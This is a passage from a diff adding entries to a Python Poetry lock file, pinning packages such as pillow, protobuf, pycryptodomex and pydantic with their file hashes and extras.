hash = "sha256:9a3a9f3a61480cc086117b426a8bd86869c213fc4072e606f01c4e4b66eb92bf"}, +] + +[[package]] +name = "openapi-schema-pydantic" +version = "1.2.4" +description = "OpenAPI (v3) specification schema as pydantic class" +optional = false +python-versions = ">=3.6.1" +files = [ + {file = "openapi-schema-pydantic-1.2.4.tar.gz", hash = "sha256:3e22cf58b74a69f752cc7e5f1537f6e44164282db2700cbbcd3bb99ddd065196"}, + {file = "openapi_schema_pydantic-1.2.4-py3-none-any.whl", hash = "sha256:a932ecc5dcbb308950282088956e94dea069c9823c84e507d64f6b622222098c"}, +] + +[package.dependencies] +pydantic = ">=1.8.2" + +[[package]] +name = "packaging" +version = "23.1" +description = "Core utilities for Python packages" +optional = false +python-versions = ">=3.7" +files = [ + {file = "packaging-23.1-py3-none-any.whl", hash = "sha256:994793af429502c4ea2ebf6bf664629d07c1a9fe974af92966e4b8d2df7edc61"}, + {file = "packaging-23.1.tar.gz", hash = "sha256:a392980d2b6cffa644431898be54b0045151319d1e7ec34f0cfed48767dd334f"}, +] + +[[package]] +name = "pamqp" +version = "3.2.1" +description = "RabbitMQ Focused AMQP low-level library" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pamqp-3.2.1-py2.py3-none-any.whl", hash = "sha256:15acef752356593ca569d13dfedc8ada9f17deeeb8cec4f7b77825e2b6c7de3e"}, + {file = "pamqp-3.2.1.tar.gz", hash = "sha256:22550ceb1ca50aafda65873e77e8c1c1b139fb5975e1a09860fae940cf8e970a"}, +] + +[package.extras] +codegen = ["lxml", "requests", "yapf"] +testing = ["coverage", "flake8", "flake8-comprehensions", "flake8-deprecated", "flake8-import-order", "flake8-print", "flake8-quotes", "flake8-rst-docstrings", "flake8-tuple", "yapf"] + +[[package]] +name = "pathspec" +version = "0.11.1" +description = "Utility library for gitignore style pattern matching of file paths." +optional = false +python-versions = ">=3.7" +files = [ + {file = "pathspec-0.11.1-py3-none-any.whl", hash = "sha256:d8af70af76652554bd134c22b3e8a1cc46ed7d91edcdd721ef1a0c51a84a5293"}, + {file = "pathspec-0.11.1.tar.gz", hash = "sha256:2798de800fa92780e33acca925945e9a19a133b715067cf165b8866c15a31687"}, +] + +[[package]] +name = "pillow" +version = "10.0.0" +description = "Python Imaging Library (Fork)" +optional = false +python-versions = ">=3.8" +files = [ + {file = "Pillow-10.0.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:1f62406a884ae75fb2f818694469519fb685cc7eaff05d3451a9ebe55c646891"}, + {file = "Pillow-10.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d5db32e2a6ccbb3d34d87c87b432959e0db29755727afb37290e10f6e8e62614"}, + {file = "Pillow-10.0.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:edf4392b77bdc81f36e92d3a07a5cd072f90253197f4a52a55a8cec48a12483b"}, + {file = "Pillow-10.0.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:520f2a520dc040512699f20fa1c363eed506e94248d71f85412b625026f6142c"}, + {file = "Pillow-10.0.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:8c11160913e3dd06c8ffdb5f233a4f254cb449f4dfc0f8f4549eda9e542c93d1"}, + {file = "Pillow-10.0.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:a74ba0c356aaa3bb8e3eb79606a87669e7ec6444be352870623025d75a14a2bf"}, + {file = "Pillow-10.0.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:d5d0dae4cfd56969d23d94dc8e89fb6a217be461c69090768227beb8ed28c0a3"}, + {file = "Pillow-10.0.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:22c10cc517668d44b211717fd9775799ccec4124b9a7f7b3635fc5386e584992"}, + {file = "Pillow-10.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:dffe31a7f47b603318c609f378ebcd57f1554a3a6a8effbc59c3c69f804296de"}, + {file = "Pillow-10.0.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:9fb218c8a12e51d7ead2a7c9e101a04982237d4855716af2e9499306728fb485"}, + {file = "Pillow-10.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d35e3c8d9b1268cbf5d3670285feb3528f6680420eafe35cccc686b73c1e330f"}, + {file = "Pillow-10.0.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3ed64f9ca2f0a95411e88a4efbd7a29e5ce2cea36072c53dd9d26d9c76f753b3"}, + {file = "Pillow-10.0.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0b6eb5502f45a60a3f411c63187db83a3d3107887ad0d036c13ce836f8a36f1d"}, + {file = "Pillow-10.0.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:c1fbe7621c167ecaa38ad29643d77a9ce7311583761abf7836e1510c580bf3dd"}, + {file = "Pillow-10.0.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:cd25d2a9d2b36fcb318882481367956d2cf91329f6892fe5d385c346c0649629"}, + {file = "Pillow-10.0.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:3b08d4cc24f471b2c8ca24ec060abf4bebc6b144cb89cba638c720546b1cf538"}, + {file = "Pillow-10.0.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:d737a602fbd82afd892ca746392401b634e278cb65d55c4b7a8f48e9ef8d008d"}, + {file = "Pillow-10.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:3a82c40d706d9aa9734289740ce26460a11aeec2d9c79b7af87bb35f0073c12f"}, + {file = "Pillow-10.0.0-cp311-cp311-win_arm64.whl", hash = "sha256:bc2ec7c7b5d66b8ec9ce9f720dbb5fa4bace0f545acd34870eff4a369b44bf37"}, + {file = "Pillow-10.0.0-cp312-cp312-macosx_10_10_x86_64.whl", hash = "sha256:d80cf684b541685fccdd84c485b31ce73fc5c9b5d7523bf1394ce134a60c6883"}, + {file = "Pillow-10.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:76de421f9c326da8f43d690110f0e79fe3ad1e54be811545d7d91898b4c8493e"}, + {file = "Pillow-10.0.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:81ff539a12457809666fef6624684c008e00ff6bf455b4b89fd00a140eecd640"}, + {file = "Pillow-10.0.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ce543ed15570eedbb85df19b0a1a7314a9c8141a36ce089c0a894adbfccb4568"}, + {file = "Pillow-10.0.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:685ac03cc4ed5ebc15ad5c23bc555d68a87777586d970c2c3e216619a5476223"}, + {file = "Pillow-10.0.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:d72e2ecc68a942e8cf9739619b7f408cc7b272b279b56b2c83c6123fcfa5cdff"}, + {file = "Pillow-10.0.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:d50b6aec14bc737742ca96e85d6d0a5f9bfbded018264b3b70ff9d8c33485551"}, + {file = "Pillow-10.0.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:00e65f5e822decd501e374b0650146063fbb30a7264b4d2744bdd7b913e0cab5"}, + {file = "Pillow-10.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:f31f9fdbfecb042d046f9d91270a0ba28368a723302786c0009ee9b9f1f60199"}, + {file = "Pillow-10.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:1ce91b6ec08d866b14413d3f0bbdea7e24dfdc8e59f562bb77bc3fe60b6144ca"}, + {file = "Pillow-10.0.0-cp38-cp38-macosx_10_10_x86_64.whl", hash = "sha256:349930d6e9c685c089284b013478d6f76e3a534e36ddfa912cde493f235372f3"}, + {file = "Pillow-10.0.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:3a684105f7c32488f7153905a4e3015a3b6c7182e106fe3c37fbb5ef3e6994c3"}, + {file = "Pillow-10.0.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b4f69b3700201b80bb82c3a97d5e9254084f6dd5fb5b16fc1a7b974260f89f43"}, + {file = "Pillow-10.0.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3f07ea8d2f827d7d2a49ecf1639ec02d75ffd1b88dcc5b3a61bbb37a8759ad8d"}, + {file = "Pillow-10.0.0-cp38-cp38-manylinux_2_28_aarch64.whl", hash = "sha256:040586f7d37b34547153fa383f7f9aed68b738992380ac911447bb78f2abe530"}, + {file = "Pillow-10.0.0-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:f88a0b92277de8e3ca715a0d79d68dc82807457dae3ab8699c758f07c20b3c51"}, + {file = "Pillow-10.0.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:c7cf14a27b0d6adfaebb3ae4153f1e516df54e47e42dcc073d7b3d76111a8d86"}, + {file = "Pillow-10.0.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:3400aae60685b06bb96f99a21e1ada7bc7a413d5f49bce739828ecd9391bb8f7"}, + {file = "Pillow-10.0.0-cp38-cp38-win_amd64.whl", hash = "sha256:dbc02381779d412145331789b40cc7b11fdf449e5d94f6bc0b080db0a56ea3f0"}, + {file = "Pillow-10.0.0-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:9211e7ad69d7c9401cfc0e23d49b69ca65ddd898976d660a2fa5904e3d7a9baa"}, + {file = "Pillow-10.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:faaf07ea35355b01a35cb442dd950d8f1bb5b040a7787791a535de13db15ed90"}, + {file = "Pillow-10.0.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c9f72a021fbb792ce98306ffb0c348b3c9cb967dce0f12a49aa4c3d3fdefa967"}, + {file = "Pillow-10.0.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9f7c16705f44e0504a3a2a14197c1f0b32a95731d251777dcb060aa83022cb2d"}, + {file = "Pillow-10.0.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:76edb0a1fa2b4745fb0c99fb9fb98f8b180a1bbceb8be49b087e0b21867e77d3"}, + {file = "Pillow-10.0.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:368ab3dfb5f49e312231b6f27b8820c823652b7cd29cfbd34090565a015e99ba"}, + {file = "Pillow-10.0.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:608bfdee0d57cf297d32bcbb3c728dc1da0907519d1784962c5f0c68bb93e5a3"}, + {file = "Pillow-10.0.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:5c6e3df6bdd396749bafd45314871b3d0af81ff935b2d188385e970052091017"}, + {file = "Pillow-10.0.0-cp39-cp39-win_amd64.whl", hash = "sha256:7be600823e4c8631b74e4a0d38384c73f680e6105a7d3c6824fcf226c178c7e6"}, + {file = "Pillow-10.0.0-pp310-pypy310_pp73-macosx_10_10_x86_64.whl", hash = "sha256:92be919bbc9f7d09f7ae343c38f5bb21c973d2576c1d45600fce4b74bafa7ac0"}, + {file = "Pillow-10.0.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8f8182b523b2289f7c415f589118228d30ac8c355baa2f3194ced084dac2dbba"}, + {file = "Pillow-10.0.0-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:38250a349b6b390ee6047a62c086d3817ac69022c127f8a5dc058c31ccef17f3"}, + {file = "Pillow-10.0.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:88af2003543cc40c80f6fca01411892ec52b11021b3dc22ec3bc9d5afd1c5334"}, + {file = "Pillow-10.0.0-pp39-pypy39_pp73-macosx_10_10_x86_64.whl", hash = "sha256:c189af0545965fa8d3b9613cfdb0cd37f9d71349e0f7750e1fd704648d475ed2"}, + {file = "Pillow-10.0.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ce7b031a6fc11365970e6a5686d7ba8c63e4c1cf1ea143811acbb524295eabed"}, + {file = "Pillow-10.0.0-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:db24668940f82321e746773a4bc617bfac06ec831e5c88b643f91f122a785684"}, + {file = "Pillow-10.0.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:efe8c0681042536e0d06c11f48cebe759707c9e9abf880ee213541c5b46c5bf3"}, + {file = "Pillow-10.0.0.tar.gz", hash = "sha256:9c82b5b3e043c7af0d95792d0d20ccf68f61a1fec6b3530e718b688422727396"}, +] + +[package.extras] +docs = ["furo", "olefile", "sphinx (>=2.4)", "sphinx-copybutton", "sphinx-inline-tabs", "sphinx-removed-in", "sphinxext-opengraph"] +tests = ["check-manifest", "coverage", "defusedxml", "markdown2", "olefile", "packaging", "pyroma", "pytest", "pytest-cov", "pytest-timeout"] + +[[package]] +name = "platformdirs" +version = "3.8.1" +description = "A small Python package for determining appropriate platform-specific dirs, e.g. a \"user data dir\"." +optional = false +python-versions = ">=3.7" +files = [ + {file = "platformdirs-3.8.1-py3-none-any.whl", hash = "sha256:cec7b889196b9144d088e4c57d9ceef7374f6c39694ad1577a0aab50d27ea28c"}, + {file = "platformdirs-3.8.1.tar.gz", hash = "sha256:f87ca4fcff7d2b0f81c6a748a77973d7af0f4d526f98f308477c3c436c74d528"}, +] + +[package.extras] +docs = ["furo (>=2023.5.20)", "proselint (>=0.13)", "sphinx (>=7.0.1)", "sphinx-autodoc-typehints (>=1.23,!=1.23.4)"] +test = ["appdirs (==1.4.4)", "covdefaults (>=2.3)", "pytest (>=7.3.1)", "pytest-cov (>=4.1)", "pytest-mock (>=3.10)"] + +[[package]] +name = "pluggy" +version = "1.2.0" +description = "plugin and hook calling mechanisms for python" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pluggy-1.2.0-py3-none-any.whl", hash = "sha256:c2fd55a7d7a3863cba1a013e4e2414658b1d07b6bc57b3919e0c63c9abb99849"}, + {file = "pluggy-1.2.0.tar.gz", hash = "sha256:d12f0c4b579b15f5e054301bb226ee85eeeba08ffec228092f8defbaa3a4c4b3"}, +] + +[package.extras] +dev = ["pre-commit", "tox"] +testing = ["pytest", "pytest-benchmark"] + +[[package]] +name = "prometheus-async" +version = "22.2.0" +description = "Async helpers for prometheus_client." +optional = false +python-versions = ">=3.7" +files = [ + {file = "prometheus-async-22.2.0.tar.gz", hash = "sha256:b0426370eb3b3bacd99afcf1fcc669c118cb67603cc951a6fe12434e9d4307f2"}, + {file = "prometheus_async-22.2.0-py3-none-any.whl", hash = "sha256:5cbfa535561342b834c087c4f3f3be0a3cb8785a0b8748111c916f3d68bbc370"}, +] + +[package.dependencies] +aiohttp = {version = ">=3", optional = true, markers = "extra == \"aiohttp\""} +prometheus_client = ">=0.8.0" +wrapt = "*" + +[package.extras] +aiohttp = ["aiohttp (>=3)"] +consul = ["aiohttp (>=3)"] +dev = ["aiohttp", "cogapp", "coverage[toml]", "furo", "mypy", "myst-parser", "pre-commit", "pytest", "pytest-asyncio", "pytest-twisted", "sphinx", "sphinx-notfound-page", "sphinxcontrib-asyncio", "tomli", "twisted"] +docs = ["aiohttp", "furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-asyncio", "twisted"] +tests = ["coverage[toml]", "pytest", "pytest-asyncio"] +twisted = ["twisted"] + +[[package]] +name = "prometheus-client" +version = "0.17.1" +description = "Python client for the Prometheus monitoring system." +optional = false +python-versions = ">=3.6" +files = [ + {file = "prometheus_client-0.17.1-py3-none-any.whl", hash = "sha256:e537f37160f6807b8202a6fc4764cdd19bac5480ddd3e0d463c3002b34462101"}, + {file = "prometheus_client-0.17.1.tar.gz", hash = "sha256:21e674f39831ae3f8acde238afd9a27a37d0d2fb5a28ea094f0ce25d2cbf2091"}, +] + +[package.extras] +twisted = ["twisted"] + +[[package]] +name = "protobuf" +version = "4.23.4" +description = "" +optional = false +python-versions = ">=3.7" +files = [ + {file = "protobuf-4.23.4-cp310-abi3-win32.whl", hash = "sha256:5fea3c64d41ea5ecf5697b83e41d09b9589e6f20b677ab3c48e5f242d9b7897b"}, + {file = "protobuf-4.23.4-cp310-abi3-win_amd64.whl", hash = "sha256:7b19b6266d92ca6a2a87effa88ecc4af73ebc5cfde194dc737cf8ef23a9a3b12"}, + {file = "protobuf-4.23.4-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:8547bf44fe8cec3c69e3042f5c4fb3e36eb2a7a013bb0a44c018fc1e427aafbd"}, + {file = "protobuf-4.23.4-cp37-abi3-manylinux2014_aarch64.whl", hash = "sha256:fee88269a090ada09ca63551bf2f573eb2424035bcf2cb1b121895b01a46594a"}, + {file = "protobuf-4.23.4-cp37-abi3-manylinux2014_x86_64.whl", hash = "sha256:effeac51ab79332d44fba74660d40ae79985901ac21bca408f8dc335a81aa597"}, + {file = "protobuf-4.23.4-cp37-cp37m-win32.whl", hash = "sha256:c3e0939433c40796ca4cfc0fac08af50b00eb66a40bbbc5dee711998fb0bbc1e"}, + {file = "protobuf-4.23.4-cp37-cp37m-win_amd64.whl", hash = "sha256:9053df6df8e5a76c84339ee4a9f5a2661ceee4a0dab019e8663c50ba324208b0"}, + {file = "protobuf-4.23.4-cp38-cp38-win32.whl", hash = "sha256:e1c915778d8ced71e26fcf43c0866d7499891bca14c4368448a82edc61fdbc70"}, + {file = "protobuf-4.23.4-cp38-cp38-win_amd64.whl", hash = "sha256:351cc90f7d10839c480aeb9b870a211e322bf05f6ab3f55fcb2f51331f80a7d2"}, + {file = "protobuf-4.23.4-cp39-cp39-win32.whl", hash = "sha256:6dd9b9940e3f17077e820b75851126615ee38643c2c5332aa7a359988820c720"}, + {file = "protobuf-4.23.4-cp39-cp39-win_amd64.whl", hash = "sha256:0a5759f5696895de8cc913f084e27fd4125e8fb0914bb729a17816a33819f474"}, + {file = "protobuf-4.23.4-py3-none-any.whl", hash = "sha256:e9d0be5bf34b275b9f87ba7407796556abeeba635455d036c7351f7c183ef8ff"}, + {file = "protobuf-4.23.4.tar.gz", hash = "sha256:ccd9430c0719dce806b93f89c91de7977304729e55377f872a92465d548329a9"}, +] + +[[package]] +name = "pycodestyle" +version = "2.9.1" +description = "Python style guide checker" +optional = false +python-versions = ">=3.6" +files = [ + {file = "pycodestyle-2.9.1-py2.py3-none-any.whl", hash = "sha256:d1735fc58b418fd7c5f658d28d943854f8a849b01a5d0a1e6f3f3fdd0166804b"}, + {file = "pycodestyle-2.9.1.tar.gz", hash = "sha256:2c9607871d58c76354b697b42f5d57e1ada7d261c261efac224b664affdc5785"}, +] + +[[package]] +name = "pycparser" +version = "2.21" +description = "C parser in Python" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" +files = [ + {file = "pycparser-2.21-py2.py3-none-any.whl", hash = "sha256:8ee45429555515e1f6b185e78100aea234072576aa43ab53aefcae078162fca9"}, + {file = "pycparser-2.21.tar.gz", hash = "sha256:e644fdec12f7872f86c58ff790da456218b10f863970249516d60a5eaca77206"}, +] + +[[package]] +name = "pycryptodomex" +version = "3.18.0" +description = "Cryptographic library for Python" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" +files = [ + {file = "pycryptodomex-3.18.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:160a39a708c36fa0b168ab79386dede588e62aec06eb505add870739329aecc6"}, + {file = "pycryptodomex-3.18.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:c2953afebf282a444c51bf4effe751706b4d0d63d7ca2cc51db21f902aa5b84e"}, + {file = "pycryptodomex-3.18.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:ba95abd563b0d1b88401658665a260852a8e6c647026ee6a0a65589287681df8"}, + {file = "pycryptodomex-3.18.0-cp27-cp27m-manylinux2014_aarch64.whl", hash = "sha256:192306cf881fe3467dda0e174a4f47bb3a8bb24b90c9cdfbdc248eec5fc0578c"}, + {file = "pycryptodomex-3.18.0-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:f9ab5ef0718f6a8716695dea16d83b671b22c45e9c0c78fd807c32c0192e54b5"}, + {file = "pycryptodomex-3.18.0-cp27-cp27m-win32.whl", hash = "sha256:50308fcdbf8345e5ec224a5502b4215178bdb5e95456ead8ab1a69ffd94779cb"}, + {file = "pycryptodomex-3.18.0-cp27-cp27m-win_amd64.whl", hash = "sha256:4d9379c684efea80fdab02a3eb0169372bca7db13f9332cb67483b8dc8b67c37"}, + {file = "pycryptodomex-3.18.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:5594a125dae30d60e94f37797fc67ce3c744522de7992c7c360d02fdb34918f8"}, + {file = "pycryptodomex-3.18.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:8ff129a5a0eb5ff16e45ca4fa70a6051da7f3de303c33b259063c19be0c43d35"}, + {file = "pycryptodomex-3.18.0-cp27-cp27mu-manylinux2014_aarch64.whl", hash = "sha256:3d9314ac785a5b75d5aaf924c5f21d6ca7e8df442e5cf4f0fefad4f6e284d422"}, + {file = "pycryptodomex-3.18.0-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:f237278836dda412a325e9340ba2e6a84cb0f56b9244781e5b61f10b3905de88"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-macosx_10_9_universal2.whl", hash = "sha256:ac614363a86cc53d8ba44b6c469831d1555947e69ab3276ae8d6edc219f570f7"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:302a8f37c224e7b5d72017d462a2be058e28f7be627bdd854066e16722d0fc0c"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-manylinux2014_aarch64.whl", hash = "sha256:6421d23d6a648e83ba2670a352bcd978542dad86829209f59d17a3f087f4afef"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d84e105787f5e5d36ec6a581ff37a1048d12e638688074b2a00bcf402f9aa1c2"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6875eb8666f68ddbd39097867325bd22771f595b4e2b0149739b5623c8bf899b"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:27072a494ce621cc7a9096bbf60ed66826bb94db24b49b7359509e7951033e74"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-musllinux_1_1_i686.whl", hash = "sha256:1949e09ea49b09c36d11a951b16ff2a05a0ffe969dda1846e4686ee342fe8646"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:6ed3606832987018615f68e8ed716a7065c09a0fe94afd7c9ca1b6777f0ac6eb"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-win32.whl", hash = "sha256:d56c9ec41258fd3734db9f5e4d2faeabe48644ba9ca23b18e1839b3bdf093222"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-win_amd64.whl", hash = "sha256:e00a4bacb83a2627e8210cb353a2e31f04befc1155db2976e5e239dd66482278"}, + {file = "pycryptodomex-3.18.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:2dc4eab20f4f04a2d00220fdc9258717b82d31913552e766d5f00282c031b70a"}, + {file = "pycryptodomex-3.18.0-pp27-pypy_73-win32.whl", hash = "sha256:75672205148bdea34669173366df005dbd52be05115e919551ee97171083423d"}, + {file = "pycryptodomex-3.18.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:bec6c80994d4e7a38312072f89458903b65ec99bed2d65aa4de96d997a53ea7a"}, + {file = "pycryptodomex-3.18.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d35a8ffdc8b05e4b353ba281217c8437f02c57d7233363824e9d794cf753c419"}, + {file = "pycryptodomex-3.18.0-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:76f0a46bee539dae4b3dfe37216f678769349576b0080fdbe431d19a02da42ff"}, + {file = "pycryptodomex-3.18.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:71687eed47df7e965f6e0bf3cadef98f368d5221f0fb89d2132effe1a3e6a194"}, + {file = "pycryptodomex-3.18.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:73d64b32d84cf48d9ec62106aa277dbe99ab5fbfd38c5100bc7bddd3beb569f7"}, + {file = "pycryptodomex-3.18.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bbdcce0a226d9205560a5936b05208c709b01d493ed8307792075dedfaaffa5f"}, + {file = "pycryptodomex-3.18.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:58fc0aceb9c961b9897facec9da24c6a94c5db04597ec832060f53d4d6a07196"}, + {file = "pycryptodomex-3.18.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:215be2980a6b70704c10796dd7003eb4390e7be138ac6fb8344bf47e71a8d470"}, + {file = "pycryptodomex-3.18.0.tar.gz", hash = "sha256:3e3ecb5fe979e7c1bb0027e518340acf7ee60415d79295e5251d13c68dde576e"}, +] + +[[package]] +name = "pydantic" +version = "1.10.11" +description = "Data validation and settings management using python type hints" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pydantic-1.10.11-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ff44c5e89315b15ff1f7fdaf9853770b810936d6b01a7bcecaa227d2f8fe444f"}, + {file = "pydantic-1.10.11-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a6c098d4ab5e2d5b3984d3cb2527e2d6099d3de85630c8934efcfdc348a9760e"}, + {file = "pydantic-1.10.11-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:16928fdc9cb273c6af00d9d5045434c39afba5f42325fb990add2c241402d151"}, + {file = "pydantic-1.10.11-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0588788a9a85f3e5e9ebca14211a496409cb3deca5b6971ff37c556d581854e7"}, + {file = "pydantic-1.10.11-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:e9baf78b31da2dc3d3f346ef18e58ec5f12f5aaa17ac517e2ffd026a92a87588"}, + {file = "pydantic-1.10.11-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:373c0840f5c2b5b1ccadd9286782852b901055998136287828731868027a724f"}, + {file = "pydantic-1.10.11-cp310-cp310-win_amd64.whl", hash = "sha256:c3339a46bbe6013ef7bdd2844679bfe500347ac5742cd4019a88312aa58a9847"}, + {file = "pydantic-1.10.11-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:08a6c32e1c3809fbc49debb96bf833164f3438b3696abf0fbeceb417d123e6eb"}, + {file = "pydantic-1.10.11-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a451ccab49971af043ec4e0d207cbc8cbe53dbf148ef9f19599024076fe9c25b"}, + {file = "pydantic-1.10.11-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5b02d24f7b2b365fed586ed73582c20f353a4c50e4be9ba2c57ab96f8091ddae"}, + {file = "pydantic-1.10.11-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3f34739a89260dfa420aa3cbd069fbcc794b25bbe5c0a214f8fb29e363484b66"}, + {file = "pydantic-1.10.11-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:e297897eb4bebde985f72a46a7552a7556a3dd11e7f76acda0c1093e3dbcf216"}, + {file = "pydantic-1.10.11-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:d185819a7a059550ecb85d5134e7d40f2565f3dd94cfd870132c5f91a89cf58c"}, + {file = "pydantic-1.10.11-cp311-cp311-win_amd64.whl", hash = "sha256:4400015f15c9b464c9db2d5d951b6a780102cfa5870f2c036d37c23b56f7fc1b"}, + {file = "pydantic-1.10.11-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:2417de68290434461a266271fc57274a138510dca19982336639484c73a07af6"}, + {file = "pydantic-1.10.11-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:331c031ba1554b974c98679bd0780d89670d6fd6f53f5d70b10bdc9addee1713"}, + {file = "pydantic-1.10.11-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8268a735a14c308923e8958363e3a3404f6834bb98c11f5ab43251a4e410170c"}, + {file = "pydantic-1.10.11-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:44e51ba599c3ef227e168424e220cd3e544288c57829520dc90ea9cb190c3248"}, + {file = "pydantic-1.10.11-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:d7781f1d13b19700b7949c5a639c764a077cbbdd4322ed505b449d3ca8edcb36"}, + {file = "pydantic-1.10.11-cp37-cp37m-win_amd64.whl", hash = 